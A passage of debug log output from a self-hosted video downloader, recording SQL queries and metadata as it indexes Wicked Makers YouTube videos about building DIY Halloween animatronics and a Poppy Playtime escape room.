"original_url" => "https://www.youtube.com/watch?v=Vn8F67pCAlk", "playlist_index" => 10, "timestamp" => 1743190637, "title" => "We made a real YARNABY Animatronic (that can eat people)", "upload_date" => "20250328"} 13:42:37.480 [debug] QUERY OK source="sources" db=0.1ms idle=1784.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:37.480 [debug] QUERY OK source="sources" db=0.1ms idle=1784.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:37.481 [debug] QUERY OK source="media_items" db=0.3ms idle=1785.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 19:37:17Z], 35] 13:42:37.482 [debug] QUERY OK source="media_items" db=1.2ms idle=1077.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "ae241069-4ca0-4d74-b18b-f20192760f3e", "Vn8F67pCAlk", false, "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, [], 1690, false, 10, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, false, 98, ~U[2025-03-28 19:37:17Z], ~U[2026-06-03 17:42:37Z], ~U[2026-06-03 17:42:37Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "Vn8F67pCAlk", "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, 1690, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, ~U[2025-03-28 19:37:17Z]] 13:42:37.483 [debug] QUERY OK source="sources" db=0.3ms idle=77.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:37.483 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:37.484 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122444] 13:42:37.484 [debug] Current batch of media processed. Will check again in 1000ms 13:42:38.484 [debug] Current batch of media processed. Will check again in 1000ms 13:42:39.486 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "duration" => 1071, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", "id" => "c0z4AD7VA4Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=c0z4AD7VA4Y", "playlist_index" => 11, "timestamp" => 1740690395, "title" => "Surviving Overnight with a real ENNARD Animatronic!", "upload_date" => "20250227"} 13:42:39.487 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=791.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:39.489 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=793.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:39.490 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=794.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 21:06:35Z], 35] 13:42:39.492 [debug] QUERY OK source="media_items" db=1.2ms idle=795.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "6022e6d9-ad2d-4966-a51b-25e7d6345e58", "c0z4AD7VA4Y", false, "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, [], 1071, false, 11, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, false, 98, ~U[2025-02-27 21:06:35Z], ~U[2026-06-03 17:42:39Z], ~U[2026-06-03 17:42:39Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "c0z4AD7VA4Y", "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, 1071, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, ~U[2025-02-27 21:06:35Z]] 13:42:39.492 [debug] QUERY OK source="sources" db=0.2ms idle=84.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:39.493 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:39.493 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122445] 13:42:39.493 [debug] Current batch of media processed. Will check again in 1000ms 13:42:40.494 [debug] Current batch of media processed. Will check again in 1000ms 13:42:41.496 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "duration" => 1010, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", "id" => "nnGeD3NoThc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nnGeD3NoThc", "playlist_index" => 12, "timestamp" => 1738184433, "title" => "Surviving Poppy Playtime In Real Life!", "upload_date" => "20250129"} 13:42:41.497 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=801.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:41.499 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=802.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:41.500 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=804.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-29 21:00:33Z], 35] 13:42:41.502 [debug] QUERY OK source="media_items" db=1.3ms idle=805.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: 